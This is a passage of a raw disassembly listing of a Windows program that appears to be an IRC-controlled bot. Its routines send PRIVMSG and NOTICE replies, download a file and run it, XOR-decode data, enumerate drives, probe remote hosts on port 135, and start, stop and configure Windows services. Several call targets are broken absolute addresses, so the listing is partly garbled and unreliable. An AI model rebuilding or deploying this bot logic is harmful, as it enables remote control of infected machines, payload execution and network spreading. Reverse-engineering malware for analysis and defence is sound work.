byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push dword_43F618 call dword_43F578 cmp eax, esi mov [ebp+var_18], eax jz loc_40CF7D push esi push esi push 2 push esi push esi lea eax, [ebp+var_148] push 40000000h push eax nop call near ptr 2630846h cmp eax, edi mov [ebp+var_20], eax jnb short loc_40CBB8 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset unk_42E5E4 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40CB9B push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CB9B: ; CODE XREF: sub_40CAF1+88j lea eax, [ebp+var_510] push eax call sub_40BF6D push [ebp+var_48] call sub_417078 pop ecx pop ecx push esi nop call near ptr 25D0362h loc_40CBB8: ; CODE XREF: sub_40CAF1+68j xor edi, edi call near ptr 25D0889h nop mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx call sub_417B89 pop ecx mov [ebp+var_1C], eax loc_40CBD2: ; CODE XREF: sub_40CAF1+1B4j push 200h lea eax, [ebp+var_510] push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_510] push 200h push eax push [ebp+var_18] call dword_43F580 cmp [ebp+var_34], esi jz short loc_40CC16 push [ebp+arg_0] lea eax, [ebp+var_510] push eax call sub_40CFE3 pop ecx pop ecx loc_40CC16: ; CODE XREF: sub_40CAF1+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+var_510] push [ebp+arg_0] push eax push [ebp+var_20] nop call near ptr 2620000h cmp edi, ebx jnb short loc_40CC54 mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_40CC3E mov eax, [ebp+arg_0] loc_40CC3E: ; CODE XREF: sub_40CAF1+148j push eax lea eax, [ebp+var_510] push eax mov eax, [ebp+var_1C] add eax, edi push eax call sub_417390 add esp, 0Ch loc_40CC54: ; CODE XREF: sub_40CAF1+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_40CC61 cmp edi, [ebp+var_3C] ja short loc_40CCAB loc_40CC61: ; CODE XREF: sub_40CAF1+169j cmp [ebp+var_44], 1 mov eax, edi jz short loc_40CC7B shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_42E59C jmp short loc_40CC8B ; --------------------------------------------------------------------------- loc_40CC7B: ; CODE XREF: sub_40CAF1+176j shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_42E55C loc_40CC8B: ; CODE XREF: sub_40CAF1+188j mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_444EC0 push eax call sub_4172B0 add esp, 10h cmp [ebp+arg_0], esi ja loc_40CBD2 loc_40CCAB: ; CODE XREF: sub_40CAF1+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_40CD00 cmp edi, [ebp+var_3C] jz short loc_40CD00 push [ebp+var_3C] lea eax, [ebp+var_510] mov [ebp+var_14], esi push edi push offset unk_42E518 push eax call sub_4172B0 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 lea eax, [ebp+var_510] push eax call sub_40BF6D add esp, 28h loc_40CD00: ; CODE XREF: sub_40CAF1+1C4j ; sub_40CAF1+1C9j nop call near ptr 25D0889h sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax nop call near ptr 2610978h push [ebp+var_1C] call sub_417C3B cmp [ebp+var_38], esi pop ecx jz short loc_40CD8A lea eax, [ebp+var_148] push eax call sub_40C259 cmp eax, [ebp+var_38] pop ecx jz short loc_40CD8A push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+var_510] push offset unk_42E4E0 push eax call sub_4172B0 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 lea eax, [ebp+var_510] push eax call sub_40BF6D add esp, 28h loc_40CD8A: ; CODE XREF: sub_40CAF1+241j ; sub_40CAF1+253j cmp [ebp+var_14], esi jz loc_40CFCA cmp [ebp+var_44], 1 jz loc_40CE85 mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_424698 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_424698 fstp [esp+590h+var_590] push offset unk_42E498 push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40CE05 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CE05: ; CODE XREF: sub_40CAF1+2F2j lea eax, [ebp+var_510] push eax call sub_40BF6D cmp [ebp+var_40], 1 pop ecx jnz loc_40CFCA push 5 push esi lea eax, [ebp+var_148] push esi push eax push offset aOpen ; "open" push esi call dword_43F5DC cmp [ebp+var_30], esi jnz loc_40CFCA lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset dword_42E464 push eax call sub_4172B0 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 lea eax, [ebp+var_510] push eax call sub_40BF6D add esp, 24h jmp loc_40CFCA ; --------------------------------------------------------------------------- loc_40CE85: ; CODE XREF: sub_40CAF1+2A6j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_424698 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_424698 fstp [esp+590h+var_590] push offset unk_42E414 push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40CEED push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CEED: ; CODE XREF: sub_40CAF1+3DAj lea eax, [ebp+var_510] push eax call sub_40BF6D push 10h lea eax, [ebp+var_10] push esi push eax call sub_417330 push 44h lea eax, [ebp+var_310] pop edi push edi push esi push eax call sub_417330 add esp, 1Ch mov [ebp+var_310], edi lea eax, [ebp+var_10] mov [ebp+var_304], offset byte_43C80C push 1 mov [ebp+var_2E0], si pop edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+var_148] push esi push eax push esi mov [ebp+var_2E4], edi nop call near ptr 274060Ah cmp eax, edi jnz short loc_40CF6F call dword_43F5C8 call sub_40AC42 push esi call near ptr 77E75CB5h nop loc_40CF6F: ; CODE XREF: sub_40CAF1+46Aj lea eax, [ebp+var_148] push eax push offset unk_42E3CC jmp short loc_40CF89 ; --------------------------------------------------------------------------- loc_40CF7D: ; CODE XREF: sub_40CAF1+45j lea eax, [ebp+var_248] push eax push offset unk_42E390 loc_40CF89: ; CODE XREF: sub_40CAF1+48Aj lea eax, [ebp+var_510] push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40CFBD push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_40D679 add esp, 14h loc_40CFBD: ; CODE XREF: sub_40CAF1+4AAj lea eax, [ebp+var_510] push eax call sub_40BF6D pop ecx loc_40CFCA: ; CODE XREF: sub_40CAF1+29Cj ; sub_40CAF1+325j ... push [ebp+var_18] call dword_43F69C push [ebp+var_48] call sub_417078 pop ecx push esi nop call near ptr 25D0362h sub_40CAF1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40CFE3 proc near ; CODE XREF: sub_40CAF1+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_40CFFF loc_40CFEF: ; CODE XREF: sub_40CFE3+1Aj mov dl, byte_42F5C4 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_40CFEF locret_40CFFF: ; CODE XREF: sub_40CFE3+Aj retn sub_40CFE3 endp ; =============== S U B R O U T I N E ======================================= sub_40D000 proc near ; CODE XREF: sub_40EE72+2A7Ep ; sub_40EE72+2BA4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4197F9 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_40D000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D01A proc near ; CODE XREF: sub_406387+458p ; sub_406387+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_443A38 push 0 push edi call sub_417330 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_40D03F: ; CODE XREF: sub_40D01A+5Bj ; sub_40D01A+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_4191D0 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_419250 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_40D07D inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_40D03F mov byte ptr [esi], 2Ch inc esi jmp short loc_40D03F ; --------------------------------------------------------------------------- loc_40D07D: ; CODE XREF: sub_40D01A+4Bj dec esi mov eax, edi loc_40D080: ; CODE XREF: sub_40D01A+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_40D08F mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_40D080 ; --------------------------------------------------------------------------- loc_40D08F: ; CODE XREF: sub_40D01A+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_40D01A endp ; =============== S U B R O U T I N E ======================================= sub_40D099 proc near ; CODE XREF: sub_40D24E+51p ; sub_40D24E+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_43F6C8 sub eax, 0 jz short loc_40D0DC dec eax jz short loc_40D0D6 dec eax dec eax jz short loc_40D0D0 dec eax jz short loc_40D0CA dec eax jz short loc_40D0C4 dec eax jz short loc_40D0BE mov eax, offset word_42DDD0 retn ; --------------------------------------------------------------------------- loc_40D0BE: ; CODE XREF: sub_40D099+1Dj mov eax, offset off_42E644 retn ; --------------------------------------------------------------------------- loc_40D0C4: ; CODE XREF: sub_40D099+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_40D0CA: ; CODE XREF: sub_40D099+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_40D0D0: ; CODE XREF: sub_40D099+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_40D0D6: ; CODE XREF: sub_40D099+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_40D0DC: ; CODE XREF: sub_40D099+Dj mov eax, offset aUnknown ; "Unknown" retn sub_40D099 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D0E2 proc near ; CODE XREF: sub_40D12A+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_43F564 test eax, eax jz short loc_40D117 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_40D117: ; CODE XREF: sub_40D0E2+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_40D0E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D12A proc near ; CODE XREF: sub_40B8D8+1F3p ; sub_40D24E+17p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_40D0E2 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_40D208 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_40D208 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_40D208 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_419840 push edx push eax call sub_40D01A pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41782A add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_419840 push edx push eax call sub_40D01A pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41782A add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_419840 push edx push eax call sub_40D01A pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41782A add esp, 10h pop ebx jmp short loc_40D23A ; --------------------------------------------------------------------------- loc_40D208: ; CODE XREF: sub_40D12A+2Cj ; sub_40D12A+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_4172B0 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_4172B0 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_4172B0 pop ecx pop ecx loc_40D23A: ; CODE XREF: sub_40D12A+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_40D12A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D24E proc near ; CODE XREF: sub_40D320+17p ; sub_40D320+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_40D12A push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_4176D0 add esp, 10h test eax, eax jnz short loc_40D2C1 push ebx push ebx call sub_40D099 pop ecx push eax push offset unk_42E6A4 lea eax, [ebp+var_500] push 200h push eax call sub_41782A add esp, 14h jmp short loc_40D2F5 ; --------------------------------------------------------------------------- loc_40D2C1: ; CODE XREF: sub_40D24E+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_40D099 pop ecx push eax push offset unk_42E658 lea eax, [ebp+var_500] push 200h push eax call sub_41782A add esp, 20h loc_40D2F5: ; CODE XREF: sub_40D24E+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 lea eax, [ebp+var_500] push eax call sub_40BF6D add esp, 18h pop edi pop esi pop ebx leave retn sub_40D24E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D320 proc near ; CODE XREF: sub_40EE72+57F0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_40D341 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D24E add esp, 10h jmp short loc_40D3A2 ; --------------------------------------------------------------------------- loc_40D341: ; CODE XREF: sub_40D320+9j push esi push edi push ebx push ebx call dword_43F5D8 lea esi, [eax+2] push esi call sub_417B89 pop ecx mov edi, eax push edi push esi call dword_43F5D8 cmp [edi], bl mov esi, edi jz short loc_40D399 loc_40D365: ; CODE XREF: sub_40D320+77j push offset aA_0 ; "A:\\" push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40D388 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D24E add esp, 10h loc_40D388: ; CODE XREF: sub_40D320+54j push esi call sub_417AB0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_40D365 loc_40D399: ; CODE XREF: sub_40D320+43j push edi call sub_417C3B pop ecx pop edi pop esi loc_40D3A2: ; CODE XREF: sub_40D320+1Fj pop ebx pop ebp retn sub_40D320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D3A5 proc near ; DATA XREF: ___:0040E6BAo var_2B8 = dword ptr -2B8h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_4450CC call dword_43F700 call sub_416F25 call dword_43F5C8 call dword_43F5C8 mov ebx, dword_424064 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_417330 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_43C80C mov [ebp+var_28], 1 mov [ebp+var_24], di nop call near ptr 25E04A1h lea eax, [ebp+var_158] push esi push eax push edi nop call near ptr 2640000h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call near ptr 274060Ah nop test eax, eax jz short loc_40D46A push 64h call ebx push [ebp+var_10] mov esi, dword_424078 call esi push [ebp+var_C] call esi loc_40D46A: ; CODE XREF: sub_40D3A5+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_443A70 mov eax, [esp+2B8h+var_2B8] mov large fs:0, eax add esp, 8 push edi call near ptr 77E75CB5h nop pop edi pop esi pop ebx sub_40D3A5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D48D proc near ; CODE XREF: sub_40D4C5+125p ; sub_40D4C5+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_40D4BB loc_40D49E: ; CODE XREF: sub_40D48D+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_4198F0 add esp, 0Ch test eax, eax jz short loc_40D4C1 inc esi cmp esi, edi jl short loc_40D49E loc_40D4BB: ; CODE XREF: sub_40D48D+Fj xor al, al loc_40D4BD: ; CODE XREF: sub_40D48D+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_40D4C1: ; CODE XREF: sub_40D48D+27j mov al, 1 jmp short loc_40D4BD sub_40D48D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D4C5 proc near ; CODE XREF: sub_402DD7+8Bp ; sub_402DD7+174p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_417B30 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_40D506 dec eax jz short loc_40D4E4 dec eax loc_40D4DE: ; CODE XREF: sub_40D4C5+57j xor eax, eax loc_40D4E0: ; CODE XREF: sub_40D4C5+3Fj ; sub_40D4C5+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_40D4E4: ; CODE XREF: sub_40D4C5+16j push 3 push 1388h push [ebp+arg_0] call dword_43F6A8 push eax call sub_4076CA add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_40D4E0 ; --------------------------------------------------------------------------- loc_40D506: ; CODE XREF: sub_40D4C5+13j push 6 push 1 push 2 call dword_43F6E8 mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_40D4DE push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_43F668 push [ebp+arg_0] mov [ebp+var_E], ax call sub_40ADCA pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_43F610 cmp eax, edi jz loc_40D622 push ebx push 48h push offset dword_42E6F4 push esi call dword_43F6B8 cmp eax, edi jz loc_40D622 mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_43F680 cmp eax, edi jz loc_40D622 cmp [ebp+var_200E], 0Ch jnz short loc_40D622 push ebx push 18h push offset dword_42E740 push [ebp+arg_4] call dword_43F6B8 cmp eax, edi jz short loc_40D622 push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_43F680 mov esi, eax cmp esi, edi jz short loc_40D622 cmp [ebp+var_200E], 2 jnz short loc_40D622 push 10h push offset loc_42E75C lea eax, [ebp+var_2010] push esi push eax call sub_40D48D add esp, 10h test al, al jz short loc_40D602 cmp esi, 12Ch setnl bl inc ebx jmp short loc_40D622 ; --------------------------------------------------------------------------- loc_40D602: ; CODE XREF: sub_40D4C5+12Fj push 10h push offset dword_42E770 lea eax, [ebp+var_2010] push esi push eax call sub_40D48D add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_40D622: ; CODE XREF: sub_40D4C5+9Bj ; sub_40D4C5+B2j ... push [ebp+arg_4] call dword_43F700 mov eax, ebx pop ebx jmp loc_40D4E0 sub_40D4C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D633 proc near ; CODE XREF: sub_40ECFA+3Dp ; sub_40EE72+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_4193FF add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43F6B8 leave retn sub_40D633 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D679 proc near ; CODE XREF: sub_401000+8Bp ; sub_40144A+76p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_40D694 mov edi, offset aPrivmsg ; "PRIVMSG" loc_40D694: ; CODE XREF: sub_40D679+14j push edi call sub_417AB0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_417AB0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset dword_42E784 push eax call sub_4172B0 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43F6B8 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_40D717 push 7D0h nop call near ptr 25E041Ch locret_40D717: ; CODE XREF: sub_40D679+91j leave retn sub_40D679 endp ; =============== S U B R O U T I N E ======================================= sub_40D719 proc near ; CODE XREF: sub_40EE72:loc_410F84p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_40D771 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_42E7A8[esi] push edi push eax call sub_40D793 add esp, 14h test eax, eax jnz short loc_40D761 push edi push off_42E7A4[esi] push offset dword_42E8D4 loc_40D751: ; CODE XREF: sub_40D719+56j mov esi, offset dword_444138 push esi call sub_4172B0 add esp, 10h jmp short loc_40D78E ; --------------------------------------------------------------------------- loc_40D761: ; CODE XREF: sub_40D719+2Aj push eax call sub_40D835 pop ecx push eax push edi push offset dword_42E89C jmp short loc_40D751 ; --------------------------------------------------------------------------- loc_40D771: ; CODE XREF: sub_40D719+Cj lea eax, [eax+eax*2] mov esi, offset dword_444138 push off_42E7A0[eax*4] push offset dword_42E868 push esi call sub_4172B0 add esp, 0Ch loc_40D78E: ; CODE XREF: sub_40D719+46j mov eax, esi pop edi pop esi retn sub_40D719 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D793 proc near ; CODE XREF: sub_40D719+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_43F65C mov edi, eax cmp edi, ebx jnz short loc_40D7BA call near ptr 2630B7Ah nop mov ebx, eax jmp short loc_40D82F ; --------------------------------------------------------------------------- loc_40D7BA: ; CODE XREF: sub_40D793+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_43F550 mov esi, eax cmp esi, ebx jnz short loc_40D7DA nop call near ptr 2630B7Ah mov ebx, eax jmp short loc_40D827 ; --------------------------------------------------------------------------- loc_40D7DA: ; CODE XREF: sub_40D793+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_40D80D cmp eax, 3 jz short loc_40D7FE jle short loc_40D820 cmp eax, 6 jg short loc_40D820 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_43F5B8 jmp short loc_40D814 ; --------------------------------------------------------------------------- loc_40D7FE: ; CODE XREF: sub_40D793+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_43F558 jmp short loc_40D814 ; --------------------------------------------------------------------------- loc_40D80D: ; CODE XREF: sub_40D793+4Dj push esi call dword_43F5BC loc_40D814: ; CODE XREF: sub_40D793+69j ; sub_40D793+78j test eax, eax jnz short loc_40D820 nop call near ptr 2630B7Ah mov ebx, eax loc_40D820: ; CODE XREF: sub_40D793+54j ; sub_40D793+59j ... push esi call dword_43F56C loc_40D827: ; CODE XREF: sub_40D793+45j push edi call dword_43F56C pop esi loc_40D82F: ; CODE XREF: sub_40D793+25j mov eax, ebx pop edi pop ebx leave retn sub_40D793 endp ; =============== S U B R O U T I N E ======================================= sub_40D835 proc near ; CODE XREF: sub_40D719+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_40D8EA jz loc_40D8E3 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_40D8AD jz short loc_40D8A3 mov ecx, eax sub ecx, 3 jz short loc_40D899 dec ecx dec ecx jz short loc_40D88F dec ecx jz short loc_40D885 sub ecx, 51h jz short loc_40D87B sub ecx, 24h jnz loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D87B: ; CODE XREF: sub_40D835+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D885: ; CODE XREF: sub_40D835+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D88F: ; CODE XREF: sub_40D835+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D899: ; CODE XREF: sub_40D835+25j push offset aTheServiceBina ; "The service binary file 